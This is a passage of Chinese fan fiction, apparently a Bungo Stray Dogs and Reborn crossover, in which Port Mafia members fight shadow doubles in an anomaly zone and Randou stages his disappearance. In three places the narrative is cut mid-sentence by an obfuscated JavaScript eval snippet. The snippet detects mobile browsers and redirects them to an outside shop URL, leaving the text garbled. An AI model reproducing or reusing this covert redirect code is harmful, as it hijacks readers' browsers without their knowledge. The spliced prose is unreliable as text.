“哪怕是有人怀疑我的失踪,也会推测是我自己回想起了记忆,所以自行消失做出来的掩人耳目的一场戏而已。” “这还真是……在和某些看不见摸不着也不知道会不会出现的东西做虚空斗争啊。” 黑羽结衣感慨了一句, “就我个人的意见,这个方案确实也更为可靠,只不过这样的机会实在太少见……” “是的,但刚刚结衣你在会议上也说了,世界在逐渐走向毁灭,也就是说在这个进程中,异常区的出现会逐渐频繁。虽然我不想这么期待,但我认为之后碰上合适机会的概率并不会太小。” 良久,在青年的注视下,黑羽结衣点点头: “我知道了,我会考虑的。那张地图现在在太宰手上,我也会让他紧密关注这件事。” 黑羽结衣走出会议室,合上门。她静静凝视着那扇关闭的门,脸上的表情瞬间消散无踪,停顿了几秒后,她头也不回地朝着更远处的走廊走去。 回到办公室的时候,reborn已经在那里等着她了。 小婴儿坐在她办公桌对面的椅子上,那只绿色的蜥蜴乖乖趴在他的帽子上,和往日里没什么区别。他面前放着一杯已经凉了的咖啡,显然等了有一段时间。 “你们刚才谈了些什么?” 黑羽结衣在椅子上坐下,顺手拿起桌上那份还没看完的文件。 “关于他的假死方式。” 她的声音平淡, “兰堂建议找一个合适的异常区,让他下落不明……” reborn看着她的表情,微微挑了挑眉: “你在怀疑这个提议的正当性?” 黑羽结衣没有正面回答。 她翻开文件,视线落在那些密密麻麻的字迹上,但那些字一个都没有进入她的大脑。 “信任可是很脆弱的,就像镜子一样。一旦碎掉,无论再怎么修复,也不可能恢复如初。” 她顿了顿, “再说了,我是组织的首领。为组织清除一切可能的障碍,是我的职责。” 为此,必要时就要抛却私人的情感。 reborn哼笑了一声,没有说话。他只是安静地坐在那里,望着那个埋头于文件中的少女。 在这段时间的观察中,他已经明显看出来了。 黑羽结衣对她的家人的评价,与事实上其他人对她们的印象,有着微妙的差异感。 就比如说在她的眼中,江户川乱步只是个爱撒娇,生活上有些白痴,不过脑子比较聪明的孩子。太宰治也是个平常懒懒散散,带点中二病,但关键时刻还是非常靠谱的少年。 但实际上——这两个人在下层成员中的风评极差。 不少人会尽可能绕着江户川乱步走,那敏锐的洞察力和毫不掩饰的直言直语,让所有心怀鬼胎的人都避之不及。 而太宰治更是到了接触过的部下都对他异常敬畏的地步。那个少年平日的表情下藏着什么,没有人敢去探究。 相反,作为武斗派的中原中也和兰堂,在成员中的风评却更高一些。 黑羽结衣似乎总是认为他们还是需要保护的对象。 但其实并不尽然。 reborn端起那杯已经凉了的咖啡,啜了一口。苦涩在舌尖化开,和记忆里无数次的滋味没有任何区别。 不过这样也很好。 首领起到的是维系家族关系,领导并将他们放在合适的位置上的作用,其他家族成员则各司其职——这样才是合理且正常的家族关系。 至于风评什么的…… 他放下咖啡杯,豆豆眼里闪过一丝极淡的笑意。 就不要和她提这种事了吧。 就在这时,reborn又想到另一件事,笑意变淡了些: “你在碰到书的时候只看到了那些吗?” “我只应该看到那些才对,” 她纠正着那份说辞,仰起头,神色虚无, “我连自己的异能都还没搞明白呢,又能看得懂什么?” 33.危机 血。 黏糊、湿稠的液体顺着头顶缓慢滑下,浸透了半边的眼眸,又顺着脸庞落下,滴落在手心中。 黑暗。 如同实质般从四面八方涌来。彻骨的冰冷,连一点光亮都看不到,五感尽失,几乎要迷失在其中。 …… 黑羽结衣模模糊糊地想着,究竟是怎么突然走到这一步? 啊。 她想起来了。 少女的眼皮挣扎着动了动。 ……是新的异常区。 那已经是会议很久之后的事了。 最开始是太宰治向她报告,说地图上出现了新的异常区。那片暗红色的标记落在横滨郊外一片废弃的工业区里,范围不算大,但颜色比之前见过的任何一个都要深。 不放过一个可以找寻自己过去记忆的机会,加上兰堂的身份仍然像定时炸弹一样让她忧心忡忡——这次,她和兰堂作为主力军加入了这次的探索。 而剩下来的人,也只有与谢野晶子了。 太宰治最近神出鬼没,不知道在忙什么;江户川乱步则对自己的新保镖很感兴趣,正带着中岛敦满世界晃悠,不过多数时间是在利用对方当作吃甜点的借口;而中原中也似乎最近也认识了新朋友,经常借着出任务的名义一天不见踪影,偶尔回来的时候身上还带着成人才有的烟酒气。 黑羽结衣也不想每次都麻烦那么多人。 所以出发那天只有三个人。黑羽结衣、兰堂、以及与谢野晶子。 她本意是想拒绝与谢野的加入,但这位治疗方法异常狂暴的医生表示,至少自己的血条够长,并且实际上,在前面几次的探索中,从来没有过必须要暴力破解的部分。 黑羽结衣想想那些经历,也就这么答应了下来。 谁都没有想到,刚进入这个异常区,他们就被一股无形的力量强行分开。然后,她就独自一人站在了这片无边无际的黑暗里。 而接下来,她就被从阴影中走出的一模一样的自己击倒了。 几乎毫无还手之力。 在上次镜子迷宫里没看到的另一个自己,终究还是在这里见到了。 ……这么一想,出发前说的话简直是在立flag。 “绝对不可能遇上”,这不就遇上了吗? 但是另一个自己远比现在的自己要强大太多了。不知道他们俩是否有受到袭击以及是否发现—— 在这片异常区内,影子是可以变成人的。 与谢野晶子独自走在这片孤寂的空间内。 周围什么都没有。没有墙壁,没有地板,没有天花板。连声音也没有。 她在黑羽结衣面前说了谎。 她早就无法使用自己的异能了。 自从从那噩梦一般的战场上回来后,与谢野晶子灵魂中的一部分就被永远留在了那里。那些被她“救活”的人的脸,那些在战场上被反复折磨的士兵的眼神,那些“为什么你要让我活下去”的质问——像梦魇一样缠绕着她,日日夜夜。 在江户川乱步和黑羽结衣合力下被带回来的她。在最初来到那个家的时候甚至没法只靠自己独立行走。 那个被她称之为“家”的二层小楼是她后来唯一的慰藉。黑羽结衣那些奇奇怪怪的家人的关心都带着恰到好处的边界感,没有人追问她发生了什么,也没有人用那种怜悯的眼神看着她。 ……让她不至于感觉自己是被可怜着的。 但在那无数个辗转反侧的深夜中,与谢野晶子总是会在怨恨自己。 她怨恨自己为什么要觉醒这样的异能,怨恨为什么当初黑羽结衣极力阻止她和森鸥外离开时,她完全不以为意,甚至无法理解那时自己唯一的同龄朋友的举动。她更怨恨自己,怨恨自己为什么要对面前的人伸出援手…… 小时候的她认为自己的异能赋予了她与生俱来的职责。 她要去最危险的地方救死扶伤,去拯救那些在死亡线上挣扎的人。像—— 天使。 即使是现在想到这个词,依旧让她有种从身体最深处传来的反胃的痉挛感。 所以,那些人因为她不得不活下去。那个时候她才知道,有的时候,活下去对有的人来说,并不是一件好事。 所以,长大的她认为自己的异能是一种诅咒。 像是应激创伤一样,她开始学着用些更大威力的武器,比如说现在的电锯,但那又如何呢?她至今也没法用出异能。每次试图发动的时候,那种从灵魂深处涌上来的恐惧和恶心就会将她吞没,像是有一只无形的手掐住她的喉咙。 她一直隐瞒着这件事,黑羽结衣从来也没在乎过,其他人或许能猜出来,或许也并不知情。 而在黑羽结衣失忆后,少女就更不知情了——毕竟就算是首领也不想经历暴力疗法。 因此,她才用那谎言名正言顺地跟了过来。 与谢野晶子不信任任何人。 她最初只认识黑羽结衣。在父母离世后,与谢野晶子就跟着照顾自己的点心店大叔身后帮忙售卖点心。每日藏着私心为每次打烊前来免费打包的黑羽结衣偷偷多留几块,直至遇到森鸥外为止。那段日子,竟然是她目前为止最快乐的回忆之一。 她直到现在也只信任黑羽结衣一个人。 因此,在意识到这次的异常区行动只有之前伤害了黑羽结衣等人的兰堂和黑羽结衣两个人去,她就跟着过来了。 与谢野晶子甚至还做了万一真的受伤了,她该怎么解释的预案。 只是谁都没有想到,在刚进来的时候他们三人就彻底分开了。 “我讨厌黑暗啊……” 她握着电锯,轻轻嘟囔了一声。那声音甚至没有回响就消失在了原地。 少女没有注意到的地方,她走过的走廊身后的黑暗处,有什么东西在翻涌而出,那轮廓越来越清晰,越来越具体,逐渐凝成她的模样,带着恶意,悄然靠近…… 兰堂甩开厚重的外套,罩了“他”个满脸,借此机会向后退去。 通常的异常区都会禁止使用异能,这里也不意外。彩画集无法展开,他能依靠的只有早年作为谍报员时训练出的战斗本能。那些本能让他堪堪躲开背后的袭击,但正眼看去时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357132|196321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,才发现袭击者和他长着一模一样的脸庞。 并且…… 那个“他”摒弃了情感,甚至是痛感,比起现在的他来讲甚至更强,也更…… 更像过去作为超越者,或者,作为“工具”的“兰波”。 不知道那两个孩子现在怎么样了,如果是这样的敌人的话,结衣绝对会陷入危机—— 她根本不清楚过去的自己作为武斗派比现在强多少。 得想办法解决掉敌人去找她们。 黑羽结衣如果能听到兰堂的想法,一定会说,何止是强了不少,关键是…… 为什么另一个“她”甚至和她并不完全一致?! 面前的“黑羽结衣”,说是比现在的自己成熟了一倍都不为过,不管是身高体型还是战斗意识,都完全碾压了现在的她。无论是什么招数,都能被对方迅速看破。 再次从墙壁上无力地滑下去,少女感到与地面接触的身体部分有什么被硌到的感觉。 那是一个小小的、硬硬的东西,藏在她外套内侧的口袋里。 她突然回想起来,似乎是临走前,reborn塞给她的,据称是“死气弹”的特殊子弹,能向上次那样陷入火力全开的状态。 黑羽结衣抿了抿唇,掏出了那枚子弹。 即使没有了异能,自己也还有枪。 不过,她的枪法极烂。因为往日里,少女都是用异能辅助弹道轨迹的,完全不需要操心子弹会打偏——她只要思考她想要子弹前往的方向就好。 她的双手轻微颤抖着,为自己已经空掉的弹匣上了最后一颗子弹。 而另一个远比自己要成熟的“她”,似乎完全没有阻止的想法,只是饶有兴致地等着她上膛,解开保险,双手握住枪柄,毕竟在那之前,黑羽结衣一枪都没有打中过。 ——直到那黑洞洞的枪口对准的是反方向。 坚硬的材质抵住胸口,黑羽结衣双手用力,和上次在红房间里太宰治做的如出一辙。只是这一次,没有血包,没有空包弹,没有退路。如果子弹拿混了,那么也没有后续。 “你知道这是什么吗?” 在那瞬间,她似乎听到有人在问她。 “不知道。” 黑羽结衣诚实地回答, “但我只能选择相信他。” 扳机扣下。 “砰——” 枪声在虚空中炸开。 那一瞬间,她感觉到有什么东西从弹头里释放出来。不是火焰,不是冲击波,而是一股她不能理解的能量流,像是一颗火星溅入火药桶。 她的意识在那一刹那被炸成无数碎片。 疼痛。 那些她放弃的、逃避的、不敢想象的可能性——它们没有消失,它们只是被埋藏了。 而现在,它们在被点燃。那些往日里意识不到的软弱和犹豫在黑暗中被燃烧殆尽。 黑羽结衣睁开眼。眼眸里,有什么东西在燃烧。 对面的“她”笑了。然后,冲了过来。 这一次,少女没有后退。 她迎了上去。 34.暂时的分别 那废墟中,不知何时燃烧起了火焰。 它们无声地跳跃着,遍布四周。没有任何温度,但接触到却有种被烫伤的感觉。 火焰跳跃着,跳跃着,倒映在跌坐在地的青年眼眸深处。 那灵魂深处也随之燃起了一把火。将那已经遗忘的过去的枷锁燃烧殆尽。 靠在断壁残垣,伤痕累累的男人突然按住了自己的太阳穴,长长叹息道: “原来,如此、我一直遗忘的,是这件事啊……” 远处的“兰堂”不远不近地站在那里,没有下一步动作。 “那个时候——引发了关注,不得不强行使用异能力的原因竟然是,魏尔伦,我的搭档,亲手,从背后——” 真是让人根本没有回想欲望的过去。 火焰仍在静静地燃烧着。苍白的火中,是同样苍白的脸色。 “但是,也是因此让我最终想起来了,原来是这么一回事啊……我真的应该感谢你,这下就真相大白了。” 兰堂迟缓地站起身,明明在刚刚都一直身处下风,但他嘴角的弧度已经微微勾起, “意外的,已经没那么冷了。这个异常区,偏偏是我们三个人过来,其他人的话,大概就是简单难度了。正因为我们都没有正视过去,试图逃避或者已经遗忘了它,所以才会这么麻烦吗。” 那个复制品一样的他靠近了。 “如果是先前的我,大概会感到空虚吧,可惜,七年来,一切都不一样了。” 青年握紧了拳,整个身体像绷紧的弦,再次蓄力攻击,对面的“他”几乎同时动了,同样的一拳正面袭来。 “那个时候,我的挥拳是空的。” 他低声说, “我接受的只有命令,作为棋子只有执行。我的身后除了我的搭档空无一物——” 他猛地侧身,躲开“他”的直拳,撞进对方怀里。 “虽然他在最后也背叛了我。” 疼痛从肩膀炸开,“他”的膝盖顶在他的肋骨上,几乎要把他整个人撞飞。但兰堂死死地扣住了对方的衣领,借着那股力道,狠狠地一拳揍了过去。 “但现在不一样——你根本不懂守护的意义!” 攻击越来越激烈。 一拳,又是一拳。 “我是兰堂。” 他低声说,再次用力, “我现在是兰堂。” “他”的眼中,终于出现了一丝裂痕。 最终,尘埃落定。 兰堂站在原地,看着消散的光点,声音沙哑: “……我已经不想回到过去了。” 他不想再做那个只有任务和使命的“兰波”。他想要这七年。想要那些深夜的谈话,想要那些笨拙的关心,想要那些会叫他“兰堂哥”,选择相信他的家人。 那些火焰也在几乎同时全部消散,它们本来就是记忆的副产物,是他记忆断点的复制品,而当虚幻消失,面前隐约就出现了原来的厂房的痕迹。 兰堂向前大步走去,那步伐越来越快,最终变成了奔跑。 与此同时,与谢野晶子正站在那片灰色的虚空中,望着对面的“自己”。 那个“她”和她长得一模一样,但那个“她”的嘴角挂着笑容——那是她很久很久没有见过的,温柔的笑容。 她曾经最想成为的样子。 “好恶心。” 电锯拉动,与谢野晶子再一次冲了过去,对面的少女站在那里一动不动,甚至张开了怀抱。 “不要碰我——!” 接着,那从头劈下的轰鸣将“她”分成两半,又在几秒后恢复如初。 与谢野晶子喘着粗气。 这已经是第不知道多少次的尝试了,每一次都是同样的结果,而对面的她仍旧嘴角边挂着那缕似有似无的微笑,像是在嘲讽她的举动。 就像过去那个可悲的她一样令人作呕。 再次抬起手时,她竟然感觉自己的手在发抖。 她知道她确实在害怕,害怕异能,害怕过去,害怕那个曾经天真地以为自己可以拯救世界的自己。 但过去是没法和一个人分割开来的东西。 它塑造人,成就人,也毁灭人。 因为逃避所以害怕,因为害怕所以憎恨。与谢野晶子憎恨自己,害怕自己,所以选择放弃了自己的异能。 真的是这样的吗? 再次汇聚起来的“她”望着她,似乎无声地在询问这个问题。 “……不是的。” 少女的呢喃从齿缝间挤出来。 语气逐渐坚定。 “不是的。” 她抬起头,直视着那个微笑着的,让她厌恶又怀念的“自己”。 “我出现在这里的原因,就是想要救她啊——!” 她向前一步,眼中再无迷惘, “我握紧电锯的原因之一,是想要保护大家啊——” 她挥舞出最后一击。 对面的残像消失了。 与谢野晶子站在原地,低头看着自己的手,上面有茧子,有伤口,但没有再抖了。在这个时刻,她隐约听到有脚步声从远方快速靠近。 为什么要成为港口mafia的首领呢? 为什么要为记忆里没有过的人物费尽心思,为城市的未来或者世界的命运什么的努力筹划呢? 黑羽结衣不知道。 她一直在试图遵循着之前的自己在走的道路前行,在他人拼凑中的字眼中努力想做一个合格,甚至是完美的大家长。 她照顾和自己同龄或者比自己小的同伴,尊重更年长的兄长。她兢兢业业埋头忙于工作,不理解的也会在夜间背着人狂补知识。她努力掌握着自己的异能,并不畏惧和敌人兵戎相见。她学着先前的自己闲暇的时候接触游戏,在旁人面前露出一副游刃有余的姿态…… 这就是对的吗?这就是她要做的事吗? “书”融进她身体的那一刻,巨大的信息量淹没了她。 “书”向她展示过毁灭般的未来。异能者是“特殊”的,横滨也是特殊的,所以在无论多少次天灾面前,最先倒在前面的总是她熟识的人。 在那一刻,黑羽结衣想的是,这就是过去的自己将书页寄存在那里的原因吗?那个她看到的光景,也是这样的吗?那个她将这样的重负背在身上,独自守着这样的秘密。 但那时候的她又怎么知道,失去记忆的自己,会坚定地沿着她的方向走下去,而不是捂着耳朵,闭紧眼睛,逃避不知什么时候才会到达的绝望的未来呢? “你相信她吗?” “我只能选择相信她。” 虚幻的对话似乎又一次浮现在耳畔。 而死气弹击破了那些迷惘。 不需要答案了。 不需要知道“为什么”。 黑羽结衣会这样做。 人是社会关系的集合。说这个想法不完全属于她也好,说她容易被人影响也好,说她自大,自我英雄主义也好—— 她想要打造一个能让身边的人欢笑的世界。 为此,不惜一切代价——! 这一次,战斗比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17364245|196321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先前都要轻松。像切割豆腐一样,黑羽结衣撕破了对面的“她”的幻影,比之前任何一次都轻松容易。 “原来是这样……” 过去将她束缚住了。 不是实力的问题,不是技巧的问题,甚至不是“忘记了过去”的问题。是她一直在模仿,在追随,在试图成为“过去的自己”。她把那个陌生的、只存在于他人描述中的身影当成了标杆,当成了必须抵达的终点。 但“过去的自己”也是从某处出发的。 那个她,也曾经迷惘过,也曾经害怕过,也曾经在深夜里独自面对未知的恐惧。只是她选择了走下去,选择了相信身边的人,选择了相信——即使不知道答案,也可以继续前行。 那她也可以。 接下来,只要等到晶子来找她就好…… 少女陷入了深层次的昏迷之中。 在她不知道的的地方,与谢野晶子与兰堂汇合,并击破了异常区的核心。 那是一枚水晶棱柱,站在它面前,可以清晰地看到自己的倒影。 与谢野晶子最后准备借口也没能用上。 在一切异常消散,她的目光凝固在歪歪斜斜靠在墙边,已经陷入了深度昏迷的黑羽结衣的身上时,她想起击破那个过去的自己时自己的意志—— 想要保护大家。 想要救她。 一直以为枯竭的异能便如同呼吸般自然地再次如指臂使。 漫天的蝴蝶飞舞着,与它们的主人一同落在了少女的身旁,将黑羽结衣苍白的脸庞一点点染上血色。 与谢野晶子抱着她,一屁股坐在了地上。 过去的无力感与绝望感,让与谢野晶子很久以来无法再用自己的异能,那是一种心理障碍,而非什么其他的方面。如今,她已经冲破了那层心理障碍。 向江户川乱步打通了电话,让他派人以最快的速度前来接应的与谢野松了口气。但她的精神还没彻底放松下来,就听到一同在刚刚被治疗好的青年突兀地开口: “晶子,你带着结衣回去,我不会回去了。” “你在说什么啊,兰堂哥……” 与谢野晶子惊愕地看过去,最熟悉的称呼还是脱口而出, “我已经呼叫了救援,港口mafia的人马上就到。你也受了很重的伤,即使我刚刚治好了你,也需要回去休息才行……” 她突然意识到了什么。 “是时候分别了。” 青年站在黑暗中,血色染透了他半件衣服,但他仍能微笑, “我们之前讨论过的计划,不是吗?如今首领重伤,是所有人都能看到的事实。那么,一位干部死在里面也不是什么难事吧。这是恰到好处的时机与理由。” 他顿了顿,目光越过与谢野晶子,落在远处昏睡的黑羽结衣身上。 “如果……麻烦你转告他们,我的同伴在当年的事故里,应该还活着。但是,就算这么多年也没有发现他的踪迹,他和我一样叛逃组织的可能性很大。当时他就为了中也背刺了我,之后也说不定会做出什么举动来……我会去找到他。” 他望向擂钵街的方向, “找到他,弄清楚一切。” 与谢野晶子想要说什么,但一个字都蹦不出来。少女的脸庞无意识地落下两行清泪。兰堂抬起的脚步顿了顿,最终还是没有选择越过黑暗与白昼的那道分界线。 他只是,略显无措地,像一个即将远游的家庭中的兄长一样,反复保证着,许下承诺: “我向你,向大家保证……我们终会再次相逢。” 35.回到正轨 江户川乱步坐在自己的办公室内,哗啦哗啦地翻过一摞报告。 本来应该是需要起码半小时的阅读才能读完的厚厚报告书在几十秒内就被这位一只腿还曲起放在椅子上的少年迅速消化完毕,下属站在不远处,大气不敢吭一声。 “和之前预想的一点差别也没有啊……无聊。行动计划还按之前来就行。你,” 少年突然手抬起,指向面前的人。 部下一个激灵: “是!” “把我这句话传达过去之后去给我买中华街那边点心店的点心,要和之前一样的口味!” “是!” 他如蒙大赦一般转身,用尽可能最快的速度离开了这间办公室。 江户川乱步望着那扇紧闭的门,片刻后,他不满地轻哼了一声,带着抓狂: “真是的,一个一个的,当我完全看不出来吗,还敢大胆地凑到我面前!太宰也是的,我都快没借口遮掩他的行动了!” 他灵巧地跳下椅子,披上一旁黑色的类侦探服外套款式的大衣,坐上通往最高处的专属电梯。 目不斜视地穿过那戒备森严的漆黑走廊,直至抵达最深处那扇厚重的大门,他才停下脚步,随意地向旁边的两位守卫吩咐: “我要面见首领。” 那扇门缓缓开启,在刚打开一个仅容纳一人通过的缝隙时他就灵巧地钻了进去。 守卫们轻微对视了一眼,没有发出任何声音。 江户川乱步向内多走了几步,眼睛在适应了窗户边开阔风景带来的强烈光线后微微眯起。那个他心心念念要找的人就坐在窗边,整个人缩进他之前打造好的充满了柔软蓬松的坐具和抱枕的巨大半圆形秋千内,膝盖上还放着一本书。 “结衣——!你现在好点了吗?” 少年的声音瞬间拔高,几乎是冲过去的,他亲昵地把脸凑到少女面前, “让一让,让一让,这可以坐两个人的!” 黑羽结衣失笑,一边将书收起来,一边向侧面挪了挪,等到他坐下才回答: “我没事,晶子的异能很有用,你又不是不知道这点——你那边怎么样了?” “和之前我们预料的没什么两样。” 谈到正事江户川乱步有些没精打采,但还是端正了态度, “那天看到你出事的人很多,消息也就传出去了。加上你最近一直闭门不出,流言也越传越烈,最近已经有不少心怀鬼胎的家伙蠢蠢欲动了……一群笨蛋。” 与他带着不屑的语气相反,黑羽结衣语调平静: “笨蛋有时候也会做出难以理解的事,不过我相信,乱步有能力在事情苗条出现前就解决掉,对吗?” “那是当然——了!” 得到了认可的江户川乱步雄赳赳气昂昂地直起腰,昂着头,尾巴几乎要翘到天上去,一副自满的表情, “我可是江户川乱步,世界第一的名侦探!” 但紧接着,他脸上的笑容渐渐敛去: “可是,结衣你真的没事吗?自从上次从异常区回来,你好像就变得有点……” 他想了半天,想不出一个合适的可以在此刻用来描述的词,最后,闷闷不乐地吐出一个词: “……成熟过头了。” “这样吗?” 黑羽结衣听到这句评价后反而有些惊讶,随后垂下眼回忆了一番, “我没怎么感觉到啊……” “是真的。” 他紧紧盯着近在咫尺的少女的面庞,追问道, “在那里到底发生了什么?结衣你想起了什么?” “想起了什么……大概是,” 黑羽结衣想了想,目光落在窗外那片辽阔的天空上, “我大概知道我的异能的具体作用了。” 在从四月一日那里回来之前,她从来没有想过基于时间的四维空间跳跃的真正含义。但在听说了与谢野晶子当时的遭遇后再次回想,加上向reborn的求证,她可以很清楚地意识到一点: 自己的过去同样包含着自己的未来。 所以那间店才是最合适她放些什么的东西。 不知道现在的自己,有没有让未来的自己失望呢。不,那也是自己的过去才对。 但她相信,事情总是会朝着好的方向走的。 “对了。还有一件事。” 江户川乱步不再追问,或者他也意识到什么不该追问,只是面上提到这件事带了点纠结, “异能特务科的那位森参事官说听说了之前港口mafia因为处置异常区大伤元气的事。他想见你一面——等你‘好起来’的时候。” 森…… 见是要见的。 “收网还要几天?” 黑羽结衣想了想,问道。 “最多两周。” 江户川乱步给出了一个具体的时限。 “那就定在两周后吧。那位福泽先生也在吧?到时候可能要麻烦他陪同我出席。” “嗯嗯,我之后去通知福泽大叔!” 看乐子一般,少年眼睛里也迸出快乐的星星点点。 黑羽结衣被那情绪感染着,也不由扯了扯嘴角,接着,她脑海里突然浮现出一个人影: “我好像最近一直没看到太宰啊,乱步你知道他最近在忙什么吗?” “……不,不知道啊~我完完全全不清楚呢!” 江户川乱步的动作僵了一瞬。然后,他双手背在脑后,看天看地就是不看她。 “……好吧。” 太宰,应该不至于搞出什么惊天动地的大事吧? 黑羽结衣回想了一下过去的种种事迹,勉勉强强相信了。 主要是就算不信,她现在也尽量要减少露面——给隐藏在暗处的敌人浮上来的可乘之机。这是他们一早就定下的决定。 何况,她也完全不无聊。 身旁的少年蠕动了两下,调整着自己的坐姿,在那过程中,不可避免的,在这狭小的空间内,他的手肘撞上了少女的,紧接着,旁边便是一声低低的痛呼: “嘶——” 他的动作顿住了,转过头,澄澈的眼眸盯着刚刚他撞到的部位: “结衣,你受伤了?” “嗯,今早和reborn先生请教体术的时候摔了一跤……” “怎么突然就打算学这种完全不像你风格的战斗方式了?” “倒也没什么特别的原因,” 黑羽结衣露出了不好意思的笑容,想了想, “本来是想拜托他教我枪法,但是我又不可能每次去下面的靶场都清一次场,那样太显眼了。但在这点空间内又很难锻炼些别的,我只好先把体术提上了日程。结果……连reborn先生的衣角都没有碰到。” “加上异能也……?” “加上异能也。” 她肯定了这个说法, “乱步你也是,虽然你的智慧就足够应付大部分事情了,但是也要把身体的锻炼提上日程,我知道你不想听这个,但你看晶子都拜托reborn先生教导她用枪了,你也……” 乱步捂紧了耳朵,疯狂摇着头,动作幅度之大让整个半悬着的秋千都开始摇晃: “不要不要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17373613|196321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不要——!我讨厌运动!再说了,我可是特地给自己招了保镖的,福泽大叔很厉害的!与谢野为什么要学枪法嘛,她的电锯明明就够好用了!” 听到前面的话题的时候,黑羽结衣还有些无奈,但到了后半句,她的神情变成了一种混杂着尴尬的复杂: “啊……据说是晶子觉得,挥舞电锯也是个体力活,并且,她说火药也算药的一种……” 疯狂蛄蛹的少年动作停住了。秋千内的两人对视了一眼,最后不约而同地笑出了声。 与此同时,横滨外海的一艘游轮。 那是一艘从外形来看就极具豪华的游轮,灯光昼夜不歇,狂欢者充斥着楼层,它不会靠岸,只在国域外的公海上行驶,载着那些寻求刺激、财富或者某种见不得光的交易的客人,直到返航的日子到来。 因此,这里通常没有会在中途上船的“客人”。 但今天是例外。 这艘船的主人饶有兴致地身形后仰,靠在天鹅绒的沙发上,打量着面前被他的手下“押送”来的一位少年。 说“押送”或许不太准确。那个脸庞尚且稚嫩,半边脸上还缠着绷带的少年太过从容太过平静,以至于那些凶神恶煞的大汉倒像是他的随从,而非押送者。 宝石王略微提起了点兴趣。 聊了几句之后,他意识到对方是有目的的登上这艘船的。因此当少年说自己有个请求的时候,他没有直接拒绝。 毕竟,漫漫大海,偶尔也需要些新鲜风景。 少年说: “我来是想和您进行一场赌局。” 宝石王挑了挑眉: “就凭你?你既然能混进我的船,就应该知道,我的时间可是非常宝贵的,尤其是——对于无名小卒而言。” “但您仍然愿意接待我,虽然是以这种不是很友好的方式,正因如此,我认为这对您来说应该不算浪费时间,” 少年点点头,语气平静地陈述着他所见到的现实, “您不也已经逐渐厌烦了这些世俗的娱乐活动吗?无论是多么惊险刺激的活动,在试过太多次后也会觉得无趣。” 宝石王端酒杯的手停了一瞬。 “而你觉得你可以为我带来这份兴致?” “我以为我孤身一人站在这里就能表明我的勇气和决心。” 少年站在那里,嘴角隐约弯起个弧度,像是在挑衅, “只是一场赌约,您这样的大人物想必也不缺乏我这样粗浅的底气吧?” 那双鸢色的眼底,没有任何该有的情绪,只是一片空洞, “何况,您也不会有什么损失,我输了,性命任由您处置,而如果我赢了……您也只是多收获了一个远东的盟友。” 中年人直起了腰,眼底的轻视逐渐散去,第一次问起他的身份: “你的名字是?” “太宰治,” 少年套用了他刚刚的话, “一介无名小卒而已。” “你的组织呢?” “我是以个人意志站在这里的。” “所以,你是想说,我毫无风险。” “对。” “你想要什么?” “只是一点情报和资源的路线而已。” 宝石王打量着站在屋子中心的太宰治,仔仔细细。最后,那些轻视化作了笑声。 “好啊,阁下都这么说了,那我也不能做这个扫兴的人,赌约成立,这位,太宰……先生,” 他加重了后面的那声称谓,眼里闪烁着猎手发现猎物的光芒, “我就给你这个机会,让我尽兴吧。” 36.梦境与现实 江户川乱步几乎是逃跑般离开了首领办公室。 他还有好多事要忙呢!清除组织的叛徒,顺着组织内的暗线端掉某些最近不安分的小组织,以及按照他之前在会议上的提案——让现在的港口mafia逐步拥有一条自己的情报线…… 最后这点是和太宰治共同密谋的。 “那边应该会顺利的吧……” 回到自己的办公室内,他一屁股坐在自己的办公椅上,整个人陷进柔软的靠背里,双脚搁上桌沿,不确定地嘟囔了一声。 那双碧绿色的眼眸望向远方那片水天相接的地方,海面上不知何时已经起了薄雾,模糊了一切的边界。 “中也和阿呆鸟应该也做好了接应的准备吧。” “不管多少次,我都受不了你这个驾驶风格……呕……” 中原中也坐在汽艇后座,脸色有些苍白。他一手死死抓着船舷,身体上已经开始浮现淡淡的红光。 “小中也太脆弱了,速度与激情可是男人的浪漫!接下来和我多出几次任务,适应适应就好啦~” 驾驶座上的男人回过头,露出一个灿烂得过分笑容,他潇洒地双手脱柄,随即一脚将油门踩到了最下, “来,跟本大爷一起享受吧!” 赭发少年的面色变的更加惨白了: “阿呆鸟你个混蛋给我住手啊啊啊啊——!” 少年的惨叫被一望无际的大海吞没,连个回音都没留下。 太宰治恍若所觉,向船舷外投去视线。 对面的中年人随着他的动作也看过去,语气含笑: “愉快的时光还真是稍纵即逝,不是吗?” “也正因为愉快的时光总是短暂的,所以才值得珍惜。” 少年收回目光, “承让了,宝石王先生。” “我很久没有这么愉快过了。不过你错了,延长那些快乐的时光,对一些人而言并不是难事,” 宝石王的上半身向前俯下,那双眼睛像鹰一般紧紧盯着少年的表情,一字一句, “太宰君,我很欣赏你。加入我这里如何?” 